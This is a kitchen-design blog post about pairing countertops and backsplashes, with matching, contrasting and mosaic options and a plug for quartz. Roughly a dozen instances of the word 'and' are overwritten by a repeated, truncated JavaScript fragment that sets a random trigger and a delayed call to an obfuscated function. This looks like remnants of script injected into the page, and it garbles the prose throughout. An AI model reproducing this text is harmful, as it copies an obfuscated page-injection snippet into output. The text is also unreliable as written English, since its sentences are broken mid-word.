Let’s face it; nothing really beats a well-designed kitchen andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the best way to make your kitchen pop is through the correct countertop andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} backsplash combination. What’s the best countertop-backsplash configuration for your home? While only you can answer that, we can help. Ultimately, you want your kitchen to reflect your personality while concurrently being functional andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} inviting. The kitchen says a lot about your home, so here are a couple of considerations when choosing a backsplash to match your counters.

Perhaps the safest route is to closely match your backsplash color with your countertop color. This creates a mostly monochromatic plane for you to work with, almost like a canvas. When homeowners decide to take this approach, they typically are using beige or grays, which allows your appliances andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} other kitchen items to standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} out a bit more. This is great if you have a small kitchen. For example, if you’re tight on space andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} need to leave your standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} mixer out on the counter all the time, or colorful pot on the stove, then these items will become accentuated when placed against your countertops andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} backsplash. The same rules apply for coordinating colors. Since coordinating backgrounds will give one color, or shade prominence in the kitchen, consider how the rest of your kitchen colors will fit in.

Employing the inverse design philosophy mentioned above, many people choose to contrast their backsplash with their counters. This is a bolder look than matching the two surfaces andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} requires more planning. Contrasting colors can also be more difficult depending on the materials you’re using. If you’re using granite counter tops, then your options are going to be more limited than if you used something like quartz. In fact, you should probably just use quartz. Just take a look at the numerous color possibilities you have. Having that many colors at your disposal makes contrasting countertops to backsplashes easy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} exciting.

Finally, you can always go with a tile mosaic for your backsplash. If you’re leaning in this direction, again you want to make sure you choose carefully andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} make sure your design isn’t going to be outdated in a few years. Take the time to research classic mosaic looks that work in your space. This can be a bold, fresh look when properly done. Don’t be afraid to take the risk if you believe it works in your space.